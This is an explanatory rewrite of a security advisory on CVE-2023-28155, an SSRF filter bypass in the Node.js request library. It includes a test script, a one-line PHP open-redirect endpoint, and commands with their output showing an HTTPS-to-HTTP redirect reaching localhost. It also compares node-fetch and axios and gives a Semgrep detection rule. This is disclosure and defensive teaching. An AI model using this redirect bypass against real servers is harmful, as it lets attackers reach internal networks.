SSRF Cross Protocol Redirect Bypass
An anti-SSRF library that hooks the Node.js request agent's connection event could be bypassed by making the victim follow a redirect that switched from HTTPS to HTTP. The request library deletes the agent on a cross-protocol redirect, so the filter no longer applies and the server could be made to reach internal addresses such as localhost.
Published on blog.doyensec.com
Server Side Request Forgery (SSRF) is a fairly known vulnerability with established prevention methods. So imagine my surprise when I bypassed an SSRF mitigation during a routine retest.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Server Side Request Forgery (SSRF) is a well known vulnerability with established prevention methods. In an SSRF attack, a malicious actor exploits a victim server to perform HTTP(S) requests on the attacker's behalf. Because the server usually has access to the internal network, the attack is useful for bypassing firewalls and IP whitelists to reach hosts that are otherwise inaccessible to the attacker.
This write-up is about a bypass of an SSRF mitigation found during a routine retest. The client's code was a simple endpoint created for integration. During the original engagement there was no filtering at all. After that test the client applied an anti-SSRF library, ssrfFilter. The researcher then bypassed that filter, which is notable because it is a filter the team had recommended themselves.
Setup
To research the issue and keep the client's code anonymous, the logic was extracted into a standalone NodeJS script. The script uses the request library together with ssrfFilter:
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];
console.log("Testing", url);
request({
uri: url,
agent: ssrfFilter(url),
}, function (error, response, body) {
console.error('error:', error);
console.log('statusCode:', response && response.statusCode);
});
The URL under test is taken from the command line and passed both as the request uri and to ssrfFilter(url), whose return value is used as the request agent. The callback prints the error and the status code.
To verify a redirect bypass, a simple webserver with an open-redirect endpoint was written in PHP and hosted on the Internet on the test domain tellico.fun:
<?php header('Location: '.$_GET["target"]); ?>
The endpoint takes a target query parameter and reflects it into a Location header, so it redirects to any address supplied by the caller.
Finding it
One of the classic SSRF filtering bypass techniques is a redirection attack. The attacker sets up a malicious webserver serving an endpoint that redirects to an internal address. The victim server properly allows sending a request to an external server, but then blindly follows the malicious redirection to an internal service. These techniques have been around for years, and any reputable anti-SSRF library is expected to mitigate such risks. The researcher bypassed it anyway.
Exploitation
Step 1: Confirm the filter blocks a direct redirect to localhost
The first test uses the HTTP scheme for the redirector and points target at a localhost service:
$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test"
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to [redacted] is blocked.
The request to the external redirector is allowed, but when the redirector sends the client to http://localhost/test, the filter blocks the call to [redacted]. This demonstrates that the vulnerability is fixed for this case.
Step 2: Switch the protocol of the redirector
The next test changes only the scheme of the initial URL, from http to https. Readers should look carefully at the payload, because the difference is minimal:
$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200
The attacker server has redirected the request to another protocol, from HTTPS to HTTP. That was all it took to bypass the anti-SSRF protection: the error is null and the localhost service answers with status code 200.
Root cause
After digging in the popular request library codebase, the following lines were found in the lib/redirect.js file:
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
Anytime a redirect causes a protocol switch, the request agent is deleted. Without this workaround the client would fail whenever a server caused a cross-protocol redirect, because the native NodeJs http(s).agent cannot be used with both protocols.
Unfortunately, this behaviour also loses any event handling associated with the agent. The SSRF prevention is based on the agent's createConnection event handler, so deleting the agent on a protocol switch removes the protection. That is why the HTTPS to HTTP redirect reached localhost even though the filter was in place.
Disclosure
The issue was disclosed to the maintainers on December 5th, 2022. Despite the team's best attempts, no acknowledgment was received. After the 90-days mark they decided to publish the full technical details as well as a public Github issue linked to a pull request for the fix. On March 14th, 2023, a CVE ID was assigned to the vulnerability.
- 12/05/2022 - First disclosure to the maintainer
- 01/18/2023 - Another attempt to contact the maintainer
- 03/08/2023 - A Github issue creation, without the technical details
- 03/13/2023 - CVE-2023-28155 assigned
- 03/16/2023 - Full technical details disclosure
Variants to test
Since a supposedly universal filter turned out to be so dependent on the implementation of the HTTP(S) clients, it is natural to ask how other popular libraries handle these cases.
Node-Fetch
The node-Fetch library also allows overwriting an HTTP(S) agent within its options, without specifying the protocol:
const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
let url = process.argv[2];
console.log("Testing", url);
fetch(url, {
agent: ssrfFilter(url)
}).then((response) => {
console.log('Success');
}).catch(error => {
console.log('${error.toString().split('\n')[0]}');
});
Contrary to the request library, it simply fails in the case of a cross-protocol redirect:
$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"
It is therefore impossible to perform a similar attack on this library.
Axios
The axios library's options allow overwriting agents for both protocols separately. Therefore the following code is protected:
axios.get(url, {
httpAgent: ssrfFilter("http://domain"),
httpsAgent: ssrfFilter("https://domain")
})
In Axios it is necessary to hardcode the URLs during the agent overwrite. Otherwise one of the agents would be overwritten with an agent for the wrong protocol, and the cross-protocol redirect would fail similarly to the node-fetch library.
Still, axios calls can be vulnerable. If one forgets to overwrite both agents, the cross-protocol redirect can bypass the filter:
axios.get(url, {
// httpAgent: ssrfFilter(url),
httpsAgent: ssrfFilter(url)
})
Such misconfigurations can be easily missed, so a Semgrep rule was created that catches similar patterns in JavaScript code:
rules:
- id: axios-only-one-agent-set
message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- pattern: |
{..., httpsAgent:..., ...}
- pattern: |
{..., httpAgent:..., ...}
- pattern-not: |
{...,httpAgent:...,httpsAgent:...}
pattern-sinks:
- pattern: $AXIOS.request(...)
- pattern: $AXIOS.get(...)
- pattern: $AXIOS.delete(...)
- pattern: $AXIOS.head(...)
- pattern: $AXIOS.options(...)
- pattern: $AXIOS.post(...)
- pattern: $AXIOS.put(...)
- pattern: $AXIOS.patch(...)
languages:
- javascript
- typescript
severity: WARNING
Impact
An exploitable SSRF vulnerability was found in the popular request library. Although the package has been deprecated, it is still used by over 50k projects with over 18M downloads per week. An attacker can bypass any anti-SSRF mechanisms injected into this library by simply redirecting the request to another protocol (for example HTTP to HTTPS). Many of the libraries reviewed did provide protection from such attacks, but others such as axios could be potentially vulnerable when similar misconfigurations exist.
Fix
A pull request for the fix was linked from the public Github issue, and a CVE ID (CVE-2023-28155) was assigned. The report does not describe the contents of the fix. To make these issues easier to find and avoid, the team also released the internal Semgrep rule shown above.
What happened, in plain words
Imagine you work in an office building with a strict receptionist. Visitors are only allowed to go to the public meeting room on the ground floor. But the receptionist has a habit: if a visitor says "actually, please take me to room 12 instead", the receptionist politely walks them there without checking whether room 12 is off limits. That is the shape of the bug in this article.
In web terms, the "visitor" is a request that a server makes on someone else's behalf, and the "receptionist" is a piece of software that is supposed to check where that request is allowed to go. The check was in place. It worked when tested one way. Then the researcher changed a single letter in the address, from http to https, and the check silently stopped working.
The software involved is a popular JavaScript library called request, which programs use to fetch web pages and call other services. The protection was a separate library called ssrfFilter, which is meant to stop a server from being tricked into contacting internal machines. The researcher found that when a server redirects a request from one protocol to another (HTTPS to HTTP, or the reverse), the request library throws away the object that carries the protection. The filter is gone, and the request reaches places it should never reach.
This matters because the filter that was bypassed is one the researcher's own team had recommended to a client. The client had installed it after the earlier test.
Background: what SSRF is
Server Side Request Forgery, or SSRF, is a vulnerability class. A vulnerability class is simply a family of bugs that share the same basic mistake. In SSRF, the mistake is that a server can be persuaded to make a network request to an address chosen by an attacker.
Why is that dangerous? Because servers usually sit inside a private network. Your laptop at home can reach the public internet, but it cannot reach the database server in a company's back office. The company's web server can. If you can make that web server fetch a URL of your choosing, you are borrowing its network position. You can reach internal hosts, internal admin panels, cloud metadata services and anything else the server can see but you cannot.
A useful comparison: a hotel concierge can walk into staff-only corridors. If you can convince the concierge to fetch something from a staff room for you, you have effectively entered the staff room without a key.
The standard defence is address filtering. Before making the request, the software checks the destination address. If the address is [redacted] (which always means "this same machine") or belongs to a private range, the request is refused. That is what ssrfFilter does.
Background: redirects and why they are a classic bypass
When you visit a web page, the server can answer with a redirect. A redirect is a response that says "I do not have the content here, go and ask this other address instead". Your browser follows it automatically. You have seen this when an old URL sends you to a new one.
Servers follow redirects too. And that is the classic SSRF bypass: the attacker hosts a harmless-looking public web server, and that server's only job is to redirect to an internal address. The victim server checks the first address, sees a public one, allows it, and then obediently follows the redirect to the internal target. The check was performed on the wrong address.
This technique has been known for years. Any serious anti-SSRF library is expected to handle it. The researcher expected it to be handled here too.
The setup: a small test program
The client's real code was a simple endpoint created for integration. An endpoint is just a URL on a server that does something when you call it, like a counter clerk's window. An API is a set of such endpoints that programs use to talk to each other, rather than pages meant for humans.
During the original test there was no filtering at all, so the endpoint could be pointed anywhere. After that test the client installed ssrfFilter. On a later retest, the researcher bypassed it.
To study the problem without exposing the client's code, the researcher copied the logic into a standalone NodeJS script. NodeJS is a runtime that lets you run JavaScript outside a browser, typically on a server. A library is a bundle of ready-made code that you install instead of writing everything yourself.
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];
console.log("Testing", url);
request({
uri: url,
agent: ssrfFilter(url),
}, function (error, response, body) {
console.error('error:', error);
console.log('statusCode:', response && response.statusCode);
});
Line by line:
const request = require('request');loads therequestlibrary, the component that actually makes the outgoing web request.const ssrfFilter = require('ssrf-req-filter');loads the protection library.let url = process.argv[2];takes the first argument typed after the script name on the command line and stores it as the URL to test. This is how the researcher can try different addresses without editing the file.console.log("Testing", url);prints the URL so the output shows exactly what was tried.request({ uri: url, agent: ssrfFilter(url) }, ...)is the core.uriis the address to fetch.agentis the component that manages the actual network connection. Here the agent is not a normal one: it is whateverssrfFilter(url)returns, which is a wrapped agent that checks the destination before connecting.- The callback function runs when the request finishes.
console.error('error:', error);prints any error.console.log('statusCode:', response && response.statusCode);prints the HTTP status code, the three-digit number a server returns (200 means success, 403 means forbidden, and so on). Theresponse &&part avoids crashing if there is no response at all.
The important idea: the protection is not a separate check that runs before the request. It is built into the agent, the thing that opens the connection. Remove the agent, and you remove the check.
The redirector
To test whether a redirect can slip past the filter, the researcher needed a public web server that redirects wherever it is told. It was written in PHP, a common server-side language, and hosted on the internet on the test domain tellico.fun.
<?php header('Location: '.$_GET["target"]); ?>
This is a single line. $_GET["target"] reads a value named target from the query string, the part of a URL after the question mark. header('Location: '...) sends a response header telling the client to go to that address instead. So if you request redirect.php?target=http://localhost/test, the server answers "go to http://localhost/test". It is an open redirect: a redirect that will send anyone anywhere, with no validation.
Step 1: confirm the filter blocks a direct redirect
The first test uses the plain HTTP scheme for the redirector and points target at a localhost service.
$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test"
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to [redacted] is blocked.
What each part means:
$ node test-request.js ...runs the test script with NodeJS. The$is just the shell prompt, not something you type.- The URL in quotes is the address being tested. It points at the public redirector, and the
targetparameter inside it points athttp://localhost/test. Testing ...is the script echoing the URL back.error: Error: Call to [redacted] is blocked.is the filter doing its job.[redacted]is the loopback address, meaning "this same machine". The redirect was followed, the destination was recognised as local, and the connection was refused.
This is the expected, correct behaviour. The vulnerability appears fixed.
Step 2: change one letter
The next test changes only the scheme of the initial URL, from http to https. Everything else is identical. The researcher explicitly asks readers to look carefully, because the difference is minimal.
$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200
- The first URL now starts with
https://, the encrypted version of HTTP. Thetargetis stillhttp://localhost/test. error: nullmeans no error occurred.nullis programming for "nothing here".statusCode: 200means the localhost service answered successfully.
So the request went: client to the public redirector over HTTPS, redirector to http://localhost/test, and the client followed it. The filter that blocked the exact same destination a moment ago did nothing. The only change was the protocol of the first hop.
Why it happens: the root cause
The researcher read the source code of the request library and found these lines in lib/redirect.js:
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
Line by line:
- The comment says the code handles a change of protocol from HTTPS to HTTP or the reverse.
if (request.uri.protocol !== uriPrev.protocol)compares the protocol of the new address with the protocol of the previous one.!==means "is not equal to". So the condition is true whenever a redirect crosses between HTTP and HTTPS.delete request.agentremoves the agent from the request.
Why would the library do that? Because a NodeJS agent is tied to one protocol. The built-in http(s).agent cannot be used for both HTTP and HTTPS. Without this workaround, any server that redirected across protocols would break the client. So the library throws the agent away and lets a fresh default one be created.
The problem is what else lives on the agent. The SSRF protection is implemented as a handler on the agent's createConnection event, which fires just before a connection is opened. Delete the agent, and you delete the handler with it. The next connection is made by an ordinary, unprotected agent. The filter was never consulted for the second hop.
A comparison: the security guard is stationed at the door of a particular lift. If the building swaps the lift mid-journey, the guard does not move to the new lift. The passenger simply continues without being checked.
Disclosure: telling the maintainers
The issue was reported to the maintainers of the request library on 5 December 2022. Maintainers are the volunteers or employees who look after an open-source project. Despite the team's attempts, no acknowledgment was received. After the 90-day mark, a common convention in vulnerability disclosure that gives vendors time to fix things before details go public, the team published the full technical details, a public GitHub issue and a pull request with a fix. A pull request is a proposed change to a codebase waiting to be reviewed and merged. On 14 March 2023 a CVE ID was assigned. A CVE is a public catalogue number for a known vulnerability, so people can refer to it unambiguously.
The timeline as published:
- 12/05/2022 - First disclosure to the maintainer
- 01/18/2023 - Another attempt to contact the maintainer
- 03/08/2023 - A Github issue creation, without the technical details
- 03/13/2023 - CVE-2023-28155 assigned
- 03/16/2023 - Full technical details disclosure
Checking other libraries
If a filter that is supposed to be universal depends so heavily on how each HTTP client is built, the obvious next question is: how do other popular libraries behave? The researcher looked at two more.
Node-Fetch
node-fetch is another library for making web requests in NodeJS. It also lets you supply your own agent in its options, without saying which protocol it is for.
const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
let url = process.argv[2];
console.log("Testing", url);
fetch(url, {
agent: ssrfFilter(url)
}).then((response) => {
console.log('Success');
}).catch(error => {
console.log('${error.toString().split('\n')[0]}');
});
- The first two lines load the filter and import
node-fetch. The arrow function is a small wrapper so the library can be loaded dynamically. let url = process.argv[2];and theconsole.logdo the same as before: take the URL from the command line and print it.fetch(url, { agent: ssrfFilter(url) })makes the request with the protected agent..then(...)runs if the request succeeds and printsSuccess..catch(...)runs if it fails and prints the first line of the error message.
The result is different from request:
$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"
Here the client refuses to follow the redirect at all. The error says the protocol http: is not supported when https: was expected. Because the agent is tied to HTTPS and the redirect points at HTTP, the library errors out instead of silently continuing. That makes the same attack impossible on this library.
Axios
axios is a very widely used HTTP client for JavaScript, in browsers and in NodeJS. Its options let you set an agent for each protocol separately: httpAgent for HTTP and httpsAgent for HTTPS. The following code is protected:
axios.get(url, {
httpAgent: ssrfFilter("http://domain"),
httpsAgent: ssrfFilter("https://domain")
})
axios.get(url, ...)sends a GET request, the ordinary kind used to fetch a page.httpAgentis the protected agent used for plain HTTP.httpsAgentis the protected agent used for HTTPS.
Both protocols are covered, so whichever way a redirect crosses, a protected agent is in place. The note in the report is that the URLs passed to ssrfFilter must be hardcoded like this. If you pass the same dynamic URL to both, one agent ends up built for the wrong protocol, and the cross-protocol redirect fails in the same way as node-fetch.
But axios can still be vulnerable through a simple mistake. If only one of the two agents is set, the other protocol uses an ordinary unprotected agent:
axios.get(url, {
// httpAgent: ssrfFilter(url),
httpsAgent: ssrfFilter(url)
})
- The
httpAgentline is commented out with//, so it does not run. - Only
httpsAgentis protected. - A redirect from HTTPS to HTTP therefore lands on an unprotected agent, and the filter is bypassed exactly as in the
requestcase.
Such misconfigurations are easy to miss in a large codebase, so the team wrote a Semgrep rule. Semgrep is a tool that scans source code for patterns, like a spell-checker for dangerous code. This rule flags Axios calls that set only one of the two agents:
rules:
- id: axios-only-one-agent-set
message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- pattern: |
{..., httpsAgent:..., ...}
- pattern: |
{..., httpAgent:..., ...}
- pattern-not: |
{...,httpAgent:...,httpsAgent:...}
pattern-sinks:
- pattern: $AXIOS.request(...)
- pattern: $AXIOS.get(...)
- pattern: $AXIOS.delete(...)
- pattern: $AXIOS.head(...)
- pattern: $AXIOS.options(...)
- pattern: $AXIOS.post(...)
- pattern: $AXIOS.put(...)
- pattern: $AXIOS.patch(...)
languages:
- javascript
- typescript
severity: WARNING
What the parts mean:
idis the rule's name, andmessageis what the tool prints when it finds a match.mode: taintmeans the rule tracks data flowing from one place to another, like following a trail.pattern-sourcesdescribes the dangerous starting point: an options object that containshttpsAgentorhttpAgentbut not both. Thepattern-notline excludes objects that have both, which are the safe ones.pattern-sinkslists the Axios functions to check:request,get,delete,head,options,post,put,patch.languagessays the rule applies to JavaScript and TypeScript, andseverity: WARNINGsets how serious a finding is.
Impact
An exploitable SSRF vulnerability was found in the popular request library. Although the package has been deprecated, meaning its authors no longer recommend it for new work, it is still used by over 50k projects with over 18M downloads per week. An attacker can bypass any anti-SSRF mechanisms injected into this library by simply redirecting the request to another protocol, for example HTTP to HTTPS. Many of the libraries reviewed did provide protection from such attacks, but others such as axios could be potentially vulnerable when similar misconfigurations exist.
Fix
A pull request for the fix was linked from the public GitHub issue, and CVE-2023-28155 was assigned. The report does not describe the contents of the fix. To make these issues easier to find and avoid, the team also released the internal Semgrep rule shown above.
Glossary
- SSRF (Server Side Request Forgery): a vulnerability where an attacker makes a server send a request to an address the attacker chooses, often to reach internal systems.
- Vulnerability class: a family of bugs that share the same underlying mistake.
- Endpoint: a specific URL on a server that performs an action when called.
- API: a set of endpoints that programs use to exchange data with each other.
- Library: a bundle of reusable code that developers install rather than write themselves.
- NodeJS: a runtime that runs JavaScript outside a browser, usually on a server.
- Agent: in NodeJS HTTP clients, the component that manages network connections and can carry checks such as SSRF filtering.
- Address filtering: checking a destination address before connecting and refusing private or local ones.
- Loopback address ([redacted]): the address that always means "this same machine".
- Redirect: a server response telling the client to go to a different address instead.
- Open redirect: a redirect endpoint that will send a client to any address supplied by the caller, with no validation.
- Protocol / scheme: the part of a URL before
://, such ashttporhttps, that defines how to talk to the server. - HTTPS: the encrypted version of HTTP.
- Query string: the part of a URL after the question mark, carrying named values such as
target. - Header: extra information sent with a request or response, such as
Locationfor redirects. - Status code: the three-digit number a server returns, such as 200 for success.
null: programming for "no value" or "nothing here".- Callback: a function passed to another function to be run when something finishes.
- Event handler: code that runs automatically when a particular event occurs, such as opening a connection.
- Maintainer: a person responsible for looking after an open-source project.
- Pull request: a proposed code change waiting to be reviewed and merged.
- CVE: a public catalogue number assigned to a known vulnerability.
- Deprecated: no longer recommended for new use, though often still in use.
- Semgrep: a tool that scans source code for patterns and flags risky ones.
- Taint mode: a Semgrep mode that tracks data flowing from a source to a sink.
- Source and sink: in code scanning, the place dangerous data comes from and the place it ends up being used.
- TypeScript: a language that adds types to JavaScript and compiles down to it.